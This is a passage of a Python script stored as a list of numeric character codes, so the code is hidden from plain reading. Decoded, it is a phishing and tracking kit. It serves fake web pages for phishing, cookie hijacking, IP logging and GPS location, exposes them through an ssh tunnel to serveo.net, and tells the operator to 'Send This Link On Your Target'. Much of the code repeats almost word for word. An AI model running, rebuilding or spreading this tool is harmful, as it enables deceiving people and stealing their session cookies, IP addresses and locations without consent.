102, 32, 110, 103, 101, 110, 116, 111, 100, 40, 115, 101, 108, 102, 41, 58, 10, 9, 9, 115, 101, 108, 102, 46, 97, 61, 114, 97, 119, 95, 105, 110, 112, 117, 116, 40, 34, 91, 37, 115, 43, 37, 115, 93, 32, 83, 105, 116, 101, 32, 78, 97, 109, 101, 58, 32, 34, 37, 40, 71, 44, 78, 41, 41, 10, 9, 9, 105, 102, 32, 40, 115, 101, 108, 102, 46, 97, 32, 61, 61, 32, 34, 34, 41, 58, 10, 9, 9, 9, 114, 101, 116, 117, 114, 110, 32, 115, 101, 108, 102, 46, 110, 103, 101, 110, 116, 111, 100, 40, 41, 10, 9, 9, 112, 114, 105, 110, 116, 40, 34, 91, 37, 115, 33, 37, 115, 93, 32, 80, 108, 101, 97, 115, 101, 32, 87, 97, 105, 116, 32, 67, 114, 101, 97, 116, 105, 110, 103, 32, 70, 97, 107, 101, 32, 87, 101, 98, 115, 105, 116, 101, 115, 32, 46, 46, 46, 34, 37, 40, 71, 44, 78, 41, 41, 10, 9, 9, 115, 101, 108, 102, 46, 103, 101, 110, 101, 114, 97, 116, 101, 40, 41, 10, 9, 9, 10, 9, 100, 101, 102, 32, 103, 101, 110, 101, 114, 97, 116, 101, 40, 115, 101, 108, 102, 41, 58, 10, 9, 9, 119, 105, 116, 104, 32, 111, 112, 101, 110, 40, 34, 100, 97, 116, 97, 47, 108, 111, 103, 46, 116, 120, 116, 34, 44, 34, 119, 34, 41, 32, 97, 115, 32, 109, 101, 109, 101, 107, 58, 10, 9, 9, 9, 107, 111, 110, 116, 111, 108, 46, 80, 111, 112, 101, 110, 40, 10, 9, 9, 9, 9, 9, 9, 91, 34, 112, 104, 112, 34, 44, 34, 45, 83, 34, 44, 34, 108, 111, 99, 97, 108, 104, 111, 115, 116, 58, 56, 48, 56, 48, 34, 44, 34, 45, 116, 34, 44, 10, 9, 9, 9, 9, 9, 9, 34, 114, 97, 119, 47, 115, 101, 114, 118, 101, 114, 47, 112, 104, 105, 115, 105, 110, 103, 34, 93, 44, 10, 9, 9, 9, 9, 9, 9, 115, 116, 100, 101, 114, 114, 61, 109, 101, 109, 101, 107, 44, 10, 9, 9, 9, 9, 9, 9, 115, 116, 100, 105, 110, 61, 109, 101, 109, 101, 107, 44, 115, 116, 100, 111, 117, 116, 61, 109, 101, 109, 101, 107, 10, 9, 9, 9, 41, 10, 9, 9, 9, 116, 105, 109, 101, 46, 115, 108, 101, 101, 112, 40, 51, 41, 10, 9, 9, 9, 112, 114, 105, 110, 116, 40, 34, 91, 37, 115, 43, 37, 115, 93, 32, 79, 112, 101, 110, 32, 78, 101, 119, 32, 84, 97, 98, 32, 65, 110, 100, 32, 82, 117, 110, 32, 37, 115, 97, 115, 117, 46, 112, 121, 37, 115, 32, 115, 101, 108, 101, 99, 116, 32, 83, 101, 114, 118, 101, 114, 32, 76, 105, 115, 116, 101, 110, 101, 114, 34, 37, 40, 71, 44, 78, 44, 71, 44, 78, 41, 41, 10, 9, 9, 9, 112, 114, 105, 110, 116, 40, 34, 91, 37, 115, 43, 37, 115, 93, 32, 83, 101, 110, 100, 32, 84, 104, 105, 115, 32, 76, 105, 110, 107, 32, 79, 110, 32, 89, 111, 117, 114, 32, 84, 97, 114, 103, 101, 116, 32, 46, 34, 37, 40, 71, 44, 78, 41, 41, 10, 9, 9, 9, 112, 114, 105, 110, 116, 40, 34, 91, 37, 115, 33, 37, 115, 93, 32, 112, 114, 101, 115, 115, 32, 39, 37, 115, 121, 101, 115, 37, 115, 39, 32, 113, 117, 105, 99, 107, 108, 121, 32, 105, 102, 32, 121, 111, 117, 32, 102, 105, 110, 100, 32, 97, 32, 113, 117, 101, 115, 116, 105, 111, 110, 34, 37, 40, 71, 44, 78, 44, 71, 44, 78, 41, 41, 10, 9, 9, 9, 112, 114, 105, 110, 116, 40, 34, 91, 37, 115, 33, 37, 115, 93, 32, 119, 97, 105, 116, 105, 110, 103, 32, 115, 101, 114, 118, 101, 114, 32, 97, 99, 116, 105, 118, 101, 32, 46, 46, 46, 34, 37, 40, 71, 44, 78, 41, 41, 10, 9, 9, 9, 107, 111, 110, 116, 111, 108, 46, 80, 111, 112, 101, 110, 40, 91, 10, 9, 9, 9, 9, 9, 34, 115, 115, 104, 34, 44, 34, 45, 82, 34, 44, 10, 9, 9, 9, 9, 9, 34, 123, 125, 46, 115, 101, 114, 118, 101, 111, 46, 110, 101, 116, 58, 56, 48, 58, 108, 111, 99, 97, 108, 104, 111, 115, 116, 58, 56, 48, 56, 48, 34, 46, 102, 111, 114, 109, 97, 116, 40, 10, 9, 9, 9, 9, 9, 115, 101, 108, 102, 46, 97, 41, 44, 10, 9, 9, 9, 9, 9, 34, 115, 101, 114, 118, 101, 111, 46, 110, 101, 116, 34, 93, 44, 115, 116, 100, 101, 114, 114, 61, 109, 101, 109, 101, 107, 44, 10, 9, 9, 9, 9, 115, 116, 100, 105, 110, 61, 109, 101, 109, 101, 107, 44, 115, 116, 100, 111, 117, 116, 61, 109, 101, 109, 101, 107, 10, 9, 9, 9, 41, 10, 9, 9, 9, 119, 104, 105, 108, 101, 32, 84, 114, 117, 101, 58, 10, 9, 9, 9, 9, 114, 61, 114, 101, 113, 117, 101, 115, 116, 115, 46, 103, 101, 116, 40, 34, 104, 116, 116, 112, 58, 47, 47, 37, 115, 46, 115, 101, 114, 118, 101, 111, 46, 110, 101, 116, 34, 37, 40, 115, 101, 108, 102, 46, 97, 41, 41, 10, 9, 9, 9, 9, 105, 102, 32, 114, 46, 115, 116, 97, 116, 117, 115, 95, 99, 111, 100, 101, 32, 61, 61, 32, 50, 48, 48, 58, 10, 9, 9, 9, 9, 9, 116, 105, 109, 101, 46, 115, 108, 101, 101, 112, 40, 53, 41, 10, 9, 9, 9, 9, 9, 115, 101, 108, 102, 46, 98, 101, 110, 103, 111, 110, 103, 40, 41, 10, 9, 9, 9, 9, 9, 98, 114, 101, 97, 107, 10, 9, 9, 9, 9, 9, 111, 115, 46, 115, 121, 115, 116, 101, 109, 40, 34, 107, 105, 108, 108, 97, 108, 108, 32, 112, 104, 112, 59, 107, 105, 108, 108, 97, 108, 108, 32, 115, 115, 104, 34, 41, 10, 9, 100, 101, 102, 32, 98, 101, 110, 103, 111, 110, 103, 40, 115, 101, 108, 102, 41, 58, 10, 9, 9, 119, 104, 105, 108, 101, 32, 84, 114, 117, 101, 58, 10, 9, 9, 9, 97, 61, 91, 34, 124, 34, 44, 34, 47, 34, 44, 34, 45, 34, 44, 34, 92, 92, 34, 93, 10, 9, 9, 9, 102, 111, 114, 32, 120, 32, 105, 110, 32, 97, 58, 10, 9, 9, 9, 9, 112, 114, 105, 110, 116, 32, 34, 92, 114, 91, 123, 125, 43, 123, 125, 93, 32, 82, 117, 110, 110, 105, 110, 103, 32, 87, 101, 98, 115, 101, 114, 118, 101, 114, 58, 32, 104, 116, 116, 112, 58, 47, 47, 123, 125, 46, 115, 101, 114, 118, 101, 111, 46, 110, 101, 116, 32, 46, 46, 32, 123, 125, 32, 32, 34, 46, 102, 111, 114, 109, 97, 116, 40, 71, 44, 78, 44, 115, 101, 108, 102, 46, 97, 44, 10, 9, 9, 9, 9, 120, 10, 9, 9, 9, 9, 41, 44, 59, 115, 121, 115, 46, 115, 116, 100, 111, 117, 116, 46, 102, 108, 117, 115, 104, 40, 41, 59, 116, 105, 109, 101, 46, 115, 108, 101, 101, 112, 40, 48, 46, 50, 48, 41, 10, 9, 9, 9, 9, 9, 9, 9, 10, 99, 108, 97, 115, 115, 32, 108, 111, 99, 97, 116, 111, 114, 40, 41, 58, 10, 9, 100, 101, 102, 32, 95, 95, 105, 110, 105, 116, 95, 95, 40, 115, 101, 108, 102, 41, 58, 10, 9, 9, 99, 101, 107, 95, 114, 101, 113, 117, 105, 114, 101, 100, 40, 41, 10, 9, 9, 115, 101, 108, 102, 46, 105, 112, 76, 111, 103, 103, 101, 114, 40, 41, 10, 9, 100, 101, 102, 32, 105, 112, 76, 111, 103, 103, 101, 114, 40, 115, 101, 108, 102, 41, 58, 10, 9, 9, 105, 102, 32, 111, 115, 46, 112, 97, 116, 104, 46, 101, 120, 105, 115, 116, 115, 40, 34, 114, 97, 119, 47, 115, 101, 114, 118, 101, 114, 47, 99, 111, 111, 107, 105, 101, 72, 105, 103, 104, 74, 97, 99, 107, 105, 110, 103, 47, 105, 110, 100, 101, 120, 46, 112, 104, 112, 34, 41, 58, 10, 9, 9, 9, 112, 114, 105, 110, 116, 40, 34, 91, 37, 115, 33, 37, 115, 93, 32, 70, 105, 108, 101, 32, 105, 110, 100, 101, 120, 46, 112, 104, 112, 32, 119, 97, 115, 32, 102, 111, 117, 110, 100, 32, 105, 110, 32, 37, 115, 99, 111, 111, 107, 105, 101, 72, 105, 103, 104, 74, 97, 99, 107, 105, 110, 103, 47, 105, 110, 100, 101, 120, 46, 112, 104, 112, 37, 115, 34, 37, 40, 82, 44, 78, 44, 82, 44, 78, 41, 41, 10, 9, 9, 9, 114, 61, 114, 97, 119, 95, 105, 110, 112, 117, 116, 40, 34, 91, 37, 115, 63, 37, 115, 93, 32, 68, 105, 100, 32, 117, 32, 119, 97, 110, 116, 32, 116, 111, 32, 101, 100, 105, 116, 32, 115, 105, 116, 101, 63, 32, 121, 47, 110, 58, 32, 34, 37, 40, 71, 44, 78, 41, 41, 10, 9, 9, 9, 105, 102, 32, 114, 46, 108, 111, 119, 101, 114, 40, 41, 32, 61, 61, 32, 34, 121, 34, 58, 10, 9, 9, 9, 9, 115, 101, 108, 102, 46, 97, 61, 114, 97, 119, 95, 105, 110, 112, 117, 116, 40, 34, 91, 37, 115, 43, 37, 115, 93, 32, 83, 105, 116, 101, 32, 78, 97, 109, 101, 32, 32, 58, 32, 34, 37, 40, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 99, 61, 114, 97, 119, 95, 105, 110, 112, 117, 116, 40, 34, 91, 37, 115, 43, 37, 115, 93, 32, 72, 84, 77, 76, 32, 84, 105, 116, 108, 101, 32, 58, 32, 34, 37, 40, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 98, 61, 114, 97, 119, 95, 105, 110, 112, 117, 116, 40, 34, 91, 37, 115, 43, 37, 115, 93, 32, 65, 108, 101, 114, 116, 32, 77, 115, 103, 32, 32, 58, 32, 34, 37, 40, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 100, 61, 114, 97, 119, 95, 105, 110, 112, 117, 116, 40, 34, 91, 37, 115, 43, 37, 115, 93, 32, 72, 84, 77, 76, 32, 66, 111, 100, 121, 32, 32, 58, 32, 34, 37, 40, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 115, 101, 114, 118, 101, 114, 46, 99, 111, 111, 107, 105, 101, 106, 97, 99, 107, 40, 99, 44, 98, 44, 100, 41, 10, 9, 9, 9, 9, 112, 114, 105, 110, 116, 40, 34, 91, 37, 115, 43, 37, 115, 93, 32, 80, 108, 101, 97, 115, 101, 32, 87, 97, 105, 116, 32, 67, 114, 101, 97, 116, 105, 110, 103, 32, 70, 97, 107, 101, 32, 87, 101, 98, 115, 105, 116, 101, 115, 32, 46, 46, 34, 37, 40, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 119, 105, 116, 104, 32, 111, 112, 101, 110, 40, 34, 100, 97, 116, 97, 47, 108, 111, 103, 46, 116, 120, 116, 34, 44, 34, 119, 34, 41, 32, 97, 115, 32, 109, 101, 109, 101, 107, 58, 10, 9, 9, 9, 9, 9, 107, 111, 110, 116, 111, 108, 46, 80, 111, 112, 101, 110, 40, 10, 9, 9, 9, 9, 9, 9, 91, 34, 112, 104, 112, 34, 44, 34, 45, 83, 34, 44, 34, 108, 111, 99, 97, 108, 104, 111, 115, 116, 58, 56, 48, 56, 48, 34, 44, 34, 45, 116, 34, 44, 10, 9, 9, 9, 9, 9, 9, 34, 114, 97, 119, 47, 115, 101, 114, 118, 101, 114, 47, 99, 111, 111, 107, 105, 101, 72, 105, 103, 104, 74, 97, 99, 107, 105, 110, 103, 34, 93, 44, 10, 9, 9, 9, 9, 9, 9, 115, 116, 100, 101, 114, 114, 61, 109, 101, 109, 101, 107, 44, 115, 116, 100, 105, 110, 61, 109, 101, 109, 101, 107, 44, 115, 116, 100, 111, 117, 116, 61, 109, 101, 109, 101, 107, 10, 9, 9, 9, 9, 9, 41, 10, 9, 9, 9, 9, 9, 116, 105, 109, 101, 46, 115, 108, 101, 101, 112, 40, 51, 41, 10, 9, 9, 9, 9, 9, 112, 114, 105, 110, 116, 40, 34, 91, 37, 115, 43, 37, 115, 93, 32, 79, 112, 101, 110, 32, 78, 101, 119, 32, 84, 97, 98, 32, 65, 110, 100, 32, 82, 117, 110, 32, 37, 115, 97, 115, 117, 46, 112, 121, 37, 115, 32, 115, 101, 108, 101, 99, 116, 32, 83, 101, 114, 118, 101, 114, 32, 76, 105, 115, 116, 101, 110, 101, 114, 34, 37, 40, 71, 44, 78, 44, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 9, 112, 114, 105, 110, 116, 40, 34, 91, 37, 115, 43, 37, 115, 93, 32, 83, 101, 110, 100, 32, 84, 104, 105, 115, 32, 76, 105, 110, 107, 32, 79, 110, 32, 89, 111, 117, 114, 32, 84, 97, 114, 103, 101, 116, 32, 46, 34, 37, 40, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 9, 112, 114, 105, 110, 116, 40, 34, 91, 37, 115, 33, 37, 115, 93, 32, 112, 114, 101, 115, 115, 32, 39, 37, 115, 121, 101, 115, 37, 115, 39, 32, 113, 117, 105, 99, 107, 108, 121, 32, 105, 102, 32, 121, 111, 117, 32, 102, 105, 110, 100, 32, 97, 32, 113, 117, 101, 115, 116, 105, 111, 110, 34, 37, 40, 71, 44, 78, 44, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 9, 112, 114, 105, 110, 116, 40, 34, 91, 37, 115, 33, 37, 115, 93, 32, 119, 97, 105, 116, 105, 110, 103, 32, 115, 101, 114, 118, 101, 114, 32, 97, 99, 116, 105, 118, 101, 32, 46, 46, 46, 34, 37, 40, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 9, 107, 111, 110, 116, 111, 108, 46, 80, 111, 112, 101, 110, 40, 91, 10, 9, 9, 9, 9, 9, 9, 9, 34, 115, 115, 104, 34, 44, 34, 45, 82, 34, 44, 10, 9, 9, 9, 9, 9, 9, 9, 34, 123, 125, 46, 115, 101, 114, 118, 101, 111, 46, 110, 101, 116, 58, 56, 48, 58, 108, 111, 99, 97, 108, 104, 111, 115, 116, 58, 56, 48, 56, 48, 34, 46, 102, 111, 114, 109, 97, 116, 40, 10, 9, 9, 9, 9, 9, 9, 9, 9, 115, 101, 108, 102, 46, 97, 41, 44, 10, 9, 9, 9, 9, 9, 9, 9, 34, 115, 101, 114, 118, 101, 111, 46, 110, 101, 116, 34, 10, 9, 9, 9, 9, 9, 93, 44, 115, 116, 100, 101, 114, 114, 61, 109, 101, 109, 101, 107, 44, 115, 116, 100, 105, 110, 61, 109, 101, 109, 101, 107, 44, 115, 116, 100, 111, 117, 116, 61, 109, 101, 109, 101, 107, 41, 10, 9, 9, 9, 9, 9, 119, 104, 105, 108, 101, 32, 84, 114, 117, 101, 58, 10, 9, 9, 9, 9, 9, 9, 114, 61, 114, 101, 113, 117, 101, 115, 116, 115, 46, 103, 101, 116, 40, 34, 104, 116, 116, 112, 58, 47, 47, 37, 115, 46, 115, 101, 114, 118, 101, 111, 46, 110, 101, 116, 34, 37, 40, 115, 101, 108, 102, 46, 97, 41, 41, 10, 9, 9, 9, 9, 9, 9, 105, 102, 32, 114, 46, 115, 116, 97, 116, 117, 115, 95, 99, 111, 100, 101, 32, 61, 61, 32, 50, 48, 48, 58, 10, 9, 9, 9, 9, 9, 9, 9, 116, 105, 109, 101, 46, 115, 108, 101, 101, 112, 40, 53, 41, 10, 9, 9, 9, 9, 9, 9, 9, 115, 101, 108, 102, 46, 98, 101, 110, 103, 111, 110, 103, 40, 41, 10, 9, 9, 9, 9, 9, 9, 9, 98, 114, 101, 97, 107, 10, 9, 9, 9, 9, 9, 9, 9, 111, 115, 46, 115, 121, 115, 116, 101, 109, 40, 34, 107, 105, 108, 108, 97, 108, 108, 32, 112, 104, 112, 59, 107, 105, 108, 108, 97, 108, 108, 32, 115, 115, 104, 34, 41, 10, 9, 9, 9, 101, 108, 115, 101, 58, 10, 9, 9, 9, 9, 115, 101, 108, 102, 46, 97, 61, 114, 97, 119, 95, 105, 110, 112, 117, 116, 40, 34, 91, 37, 115, 43, 37, 115, 93, 32, 83, 105, 116, 101, 32, 78, 97, 109, 101, 32, 32, 58, 32, 34, 37, 40, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 112, 114, 105, 110, 116, 40, 34, 91, 37, 115, 43, 37, 115, 93, 32, 80, 108, 101, 97, 115, 101, 32, 87, 97, 105, 116, 32, 67, 114, 101, 97, 116, 105, 110, 103, 32, 70, 97, 107, 101, 32, 87, 101, 98, 115, 105, 116, 101, 115, 32, 46, 46, 34, 37, 40, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 119, 105, 116, 104, 32, 111, 112, 101, 110, 40, 34, 100, 97, 116, 97, 47, 108, 111, 103, 46, 116, 120, 116, 34, 44, 34, 119, 34, 41, 32, 97, 115, 32, 109, 101, 109, 101, 107, 58, 10, 9, 9, 9, 9, 9, 107, 111, 110, 116, 111, 108, 46, 80, 111, 112, 101, 110, 40, 10, 9, 9, 9, 9, 9, 9, 91, 34, 112, 104, 112, 34, 44, 34, 45, 83, 34, 44, 34, 108, 111, 99, 97, 108, 104, 111, 115, 116, 58, 56, 48, 56, 48, 34, 44, 34, 45, 116, 34, 44, 10, 9, 9, 9, 9, 9, 9, 34, 114, 97, 119, 47, 115, 101, 114, 118, 101, 114, 47, 99, 111, 111, 107, 105, 101, 72, 105, 103, 104, 74, 97, 99, 107, 105, 110, 103, 34, 93, 44, 10, 9, 9, 9, 9, 9, 9, 115, 116, 100, 101, 114, 114, 61, 109, 101, 109, 101, 107, 44, 115, 116, 100, 105, 110, 61, 109, 101, 109, 101, 107, 44, 115, 116, 100, 111, 117, 116, 61, 109, 101, 109, 101, 107, 10, 9, 9, 9, 9, 9, 41, 10, 9, 9, 9, 9, 9, 116, 105, 109, 101, 46, 115, 108, 101, 101, 112, 40, 52, 41, 10, 9, 9, 9, 9, 9, 112, 114, 105, 110, 116, 40, 34, 91, 37, 115, 43, 37, 115, 93, 32, 79, 112, 101, 110, 32, 78, 101, 119, 32, 84, 97, 98, 32, 65, 110, 100, 32, 82, 117, 110, 32, 37, 115, 97, 115, 117, 46, 112, 121, 37, 115, 32, 115, 101, 108, 101, 99, 116, 32, 83, 101, 114, 118, 101, 114, 32, 76, 105, 115, 116, 101, 110, 101, 114, 34, 37, 40, 71, 44, 78, 44, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 9, 112, 114, 105, 110, 116, 40, 34, 91, 37, 115, 43, 37, 115, 93, 32, 83, 101, 110, 100, 32, 84, 104, 105, 115, 32, 76, 105, 110, 107, 32, 79, 110, 32, 89, 111, 117, 114, 32, 84, 97, 114, 103, 101, 116, 32, 46, 34, 37, 40, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 9, 112, 114, 105, 110, 116, 40, 34, 91, 37, 115, 33, 37, 115, 93, 32, 112, 114, 101, 115, 115, 32, 39, 37, 115, 121, 101, 115, 37, 115, 39, 32, 113, 117, 105, 99, 107, 108, 121, 32, 105, 102, 32, 121, 111, 117, 32, 102, 105, 110, 100, 32, 97, 32, 113, 117, 101, 115, 116, 105, 111, 110, 34, 37, 40, 71, 44, 78, 44, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 9, 112, 114, 105, 110, 116, 40, 34, 91, 37, 115, 33, 37, 115, 93, 32, 119, 97, 105, 116, 105, 110, 103, 32, 115, 101, 114, 118, 101, 114, 32, 97, 99, 116, 105, 118, 101, 32, 46, 46, 46, 34, 37, 40, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 9, 107, 111, 110, 116, 111, 108, 46, 80, 111, 112, 101, 110, 40, 91, 10, 9, 9, 9, 9, 9, 9, 9, 34, 115, 115, 104, 34, 44, 34, 45, 82, 34, 44, 10, 9, 9, 9, 9, 9, 9, 9, 34, 123, 125, 46, 115, 101, 114, 118, 101, 111, 46, 110, 101, 116, 58, 56, 48, 58, 108, 111, 99, 97, 108, 104, 111, 115, 116, 58, 56, 48, 56, 48, 34, 46, 102, 111, 114, 109, 97, 116, 40, 10, 9, 9, 9, 9, 9, 9, 9, 9, 115, 101, 108, 102, 46, 97, 41, 44, 10, 9, 9, 9, 9, 9, 9, 9, 34, 115, 101, 114, 118, 101, 111, 46, 110, 101, 116, 34, 10, 9, 9, 9, 9, 9, 93, 44, 115, 116, 100, 101, 114, 114, 61, 109, 101, 109, 101, 107, 44, 115, 116, 100, 105, 110, 61, 109, 101, 109, 101, 107, 44, 115, 116, 100, 111, 117, 116, 61, 109, 101, 109, 101, 107, 41, 10, 9, 9, 9, 9, 9, 116, 105, 109, 101, 46, 115, 108, 101, 101, 112, 40, 53, 41, 10, 9, 9, 9, 9, 9, 119, 104, 105, 108, 101, 32, 84, 114, 117, 101, 58, 10, 9, 9, 9, 9, 9, 9, 114, 61, 114, 101, 113, 117, 101, 115, 116, 115, 46, 103, 101, 116, 40, 34, 104, 116, 116, 112, 58, 47, 47, 37, 115, 46, 115, 101, 114, 118, 101, 111, 46, 110, 101, 116, 34, 37, 40, 115, 101, 108, 102, 46, 97, 41, 41, 10, 9, 9, 9, 9, 9, 9, 105, 102, 32, 114, 46, 115, 116, 97, 116, 117, 115, 95, 99, 111, 100, 101, 32, 61, 61, 32, 50, 48, 48, 58, 10, 9, 9, 9, 9, 9, 9, 9, 116, 105, 109, 101, 46, 115, 108, 101, 101, 112, 40, 53, 41, 10, 9, 9, 9, 9, 9, 9, 9, 115, 101, 108, 102, 46, 98, 101, 110, 103, 111, 110, 103, 40, 41, 10, 9, 9, 9, 9, 9, 9, 9, 98, 114, 101, 97, 107, 10, 9, 9, 9, 9, 9, 9, 9, 111, 115, 46, 115, 121, 115, 116, 101, 109, 40, 34, 107, 105, 108, 108, 97, 108, 108, 32, 112, 104, 112, 59, 107, 105, 108, 108, 97, 108, 108, 32, 115, 115, 104, 34, 41, 10, 9, 100, 101, 102, 32, 98, 101, 110, 103, 111, 110, 103, 40, 115, 101, 108, 102, 41, 58, 10, 9, 9, 119, 104, 105, 108, 101, 32, 84, 114, 117, 101, 58, 10, 9, 9, 9, 97, 61, 91, 34, 124, 34, 44, 34, 47, 34, 44, 34, 45, 34, 44, 34, 92, 92, 34, 93, 10, 9, 9, 9, 102, 111, 114, 32, 120, 32, 105, 110, 32, 97, 58, 10, 9, 9, 9, 9, 112, 114, 105, 110, 116, 32, 34, 92, 114, 91, 123, 125, 43, 123, 125, 93, 32, 82, 117, 110, 110, 105, 110, 103, 32, 87, 101, 98, 115, 101, 114, 118, 101, 114, 58, 32, 104, 116, 116, 112, 58, 47, 47, 123, 125, 46, 115, 101, 114, 118, 101, 111, 46, 110, 101, 116, 32, 46, 46, 32, 123, 125, 32, 32, 34, 46, 102, 111, 114, 109, 97, 116, 40, 71, 44, 78, 44, 115, 101, 108, 102, 46, 97, 44, 10, 9, 9, 9, 9, 120, 10, 9, 9, 9, 9, 41, 44, 59, 115, 121, 115, 46, 115, 116, 100, 111, 117, 116, 46, 102, 108, 117, 115, 104, 40, 41, 59, 116, 105, 109, 101, 46, 115, 108, 101, 101, 112, 40, 48, 46, 50, 48, 41, 10, 9, 9, 9, 9, 10, 99, 108, 97, 115, 115, 32, 103, 112, 115, 40, 41, 58, 10, 9, 100, 101, 102, 32, 95, 95, 105, 110, 105, 116, 95, 95, 40, 115, 101, 108, 102, 41, 58, 10, 9, 9, 99, 101, 107, 95, 114, 101, 113, 117, 105, 114, 101, 100, 40, 41, 10, 9, 9, 115, 101, 108, 102, 46, 103, 112, 115, 40, 41, 10, 9, 100, 101, 102, 32, 103, 112, 115, 40, 115, 101, 108, 102, 41, 58, 10, 9, 9, 105, 102, 32, 111, 115, 46, 112, 97, 116, 104, 46, 101, 120, 105, 115, 116, 115, 40, 34, 114, 97, 119, 47, 115, 101, 114, 118, 101, 114, 47, 103, 112, 115, 47, 105, 110, 100, 101, 120, 46, 112, 104, 112, 34, 41, 58, 10, 9, 9, 9, 112, 114, 105, 110, 116, 40, 34, 91, 37, 115, 43, 37, 115, 93, 32, 70, 105, 108, 101, 32, 105, 110, 100, 101, 120, 46, 112, 104, 112, 32, 119, 97, 115, 32, 102, 111, 117, 110, 100, 32, 105, 110, 32, 37, 115, 47, 103, 112, 115, 47, 105, 110, 100, 101, 120, 46, 112, 104, 112, 37, 115, 34, 37, 40, 82, 44, 78, 44, 82, 44, 78, 41, 41, 10, 9, 9, 9, 114, 61, 114, 97, 119, 95, 105, 110, 112, 117, 116, 40, 34, 91, 37, 115, 63, 37, 115, 93, 32, 68, 105, 100, 32, 117, 32, 119, 97, 110, 116, 32, 116, 111, 32, 101, 100, 105, 116, 32, 115, 105, 116, 101, 63, 32, 121, 47, 110, 58, 32, 34, 37, 40, 71, 44, 78, 41, 41, 10, 9, 9, 9, 105, 102, 32, 114, 46, 108, 111, 119, 101, 114, 40, 41, 32, 61, 61, 32, 34, 121, 34, 58, 10, 9, 9, 9, 9, 115, 101, 108, 102, 46, 97, 61, 114, 97, 119, 95, 105, 110, 112, 117, 116, 40, 34, 91, 37, 115, 43, 37, 115, 93, 32, 83, 105, 116, 101, 32, 78, 97, 109, 101, 32, 32, 58, 32, 34, 37, 40, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 99, 61, 114, 97, 119, 95, 105, 110, 112, 117, 116, 40, 34, 91, 37, 115, 43, 37, 115, 93, 32, 72, 84, 77, 76, 32, 84, 105, 116, 108, 101, 32, 58, 32, 34, 37, 40, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 98, 61, 114, 97, 119, 95, 105, 110, 112, 117, 116, 40, 34, 91, 37, 115, 43, 37, 115, 93, 32, 65, 108, 101, 114, 116, 32, 77, 115, 103, 32, 32, 58, 32, 34, 37, 40, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 100, 61, 114, 97, 119, 95, 105, 110, 112, 117, 116, 40, 34, 91, 37, 115, 43, 37, 115, 93, 32, 72, 84, 77, 76, 32, 66, 111, 100, 121, 32, 32, 58, 32, 34, 37, 40, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 115, 101, 114, 118, 101, 114, 46, 103, 112, 115, 40, 99, 44, 98, 44, 100, 41, 10, 9, 9, 9, 9, 112, 114, 105, 110, 116, 40, 34, 91, 37, 115, 43, 37, 115, 93, 32, 80, 108, 101, 97, 115, 101, 32, 87, 97, 105, 116, 32, 67, 114, 101, 97, 116, 105, 110, 103, 32, 70, 97, 107, 101, 32, 87, 101, 98, 115, 105, 116, 101, 115, 32, 46, 46, 34, 37, 40, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 119, 105, 116, 104, 32, 111, 112, 101, 110, 40, 34, 100, 97, 116, 97, 47, 108, 111, 103, 46, 116, 120, 116, 34, 44, 34, 119, 34, 41, 32, 97, 115, 32, 109, 101, 109, 101, 107, 58, 10, 9, 9, 9, 9, 9, 107, 111, 110, 116, 111, 108, 46, 80, 111, 112, 101, 110, 40, 10, 9, 9, 9, 9, 9, 9, 91, 34, 112, 104, 112, 34, 44, 34, 45, 83, 34, 44, 34, 108, 111, 99, 97, 108, 104, 111, 115, 116, 58, 56, 48, 56, 48, 34, 44, 34, 45, 116, 34, 44, 34, 114, 97, 119, 47, 115, 101, 114, 118, 101, 114, 47, 103, 112, 115, 34, 93, 44, 10, 9, 9, 9, 9, 9, 9, 115, 116, 100, 101, 114, 114, 61, 109, 101, 109, 101, 107, 44, 115, 116, 100, 105, 110, 61, 109, 101, 109, 101, 107, 44, 115, 116, 100, 111, 117, 116, 61, 109, 101, 109, 101, 107, 10, 9, 9, 9, 9, 9, 41, 10, 9, 9, 9, 9, 9, 116, 105, 109, 101, 46, 115, 108, 101, 101, 112, 40, 51, 41, 10, 9, 9, 9, 9, 9, 112, 114, 105, 110, 116, 40, 34, 91, 37, 115, 43, 37, 115, 93, 32, 79, 112, 101, 110, 32, 78, 101, 119, 32, 84, 97, 98, 32, 65, 110, 100, 32, 82, 117, 110, 32, 37, 115, 97, 115, 117, 46, 112, 121, 37, 115, 32, 115, 101, 108, 101, 99, 116, 32, 83, 101, 114, 118, 101, 114, 32, 76, 105, 115, 116, 101, 110, 101, 114, 34, 37, 40, 71, 44, 78, 44, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 9, 112, 114, 105, 110, 116, 40, 34, 91, 37, 115, 43, 37, 115, 93, 32, 83, 101, 110, 100, 32, 84, 104, 105, 115, 32, 76, 105, 110, 107, 32, 79, 110, 32, 89, 111, 117, 114, 32, 84, 97, 114, 103, 101, 116, 32, 46, 34, 37, 40, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 9, 112, 114, 105, 110, 116, 40, 34, 91, 37, 115, 33, 37, 115, 93, 32, 112, 114, 101, 115, 115, 32, 39, 37, 115, 121, 101, 115, 37, 115, 39, 32, 113, 117, 105, 99, 107, 108, 121, 32, 105, 102, 32, 121, 111, 117, 32, 102, 105, 110, 100, 32, 97, 32, 113, 117, 101, 115, 116, 105, 111, 110, 34, 37, 40, 71, 44, 78, 44, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 9, 112, 114, 105, 110, 116, 40, 34, 91, 37, 115, 33, 37, 115, 93, 32, 119, 97, 105, 116, 105, 110, 103, 32, 115, 101, 114, 118, 101, 114, 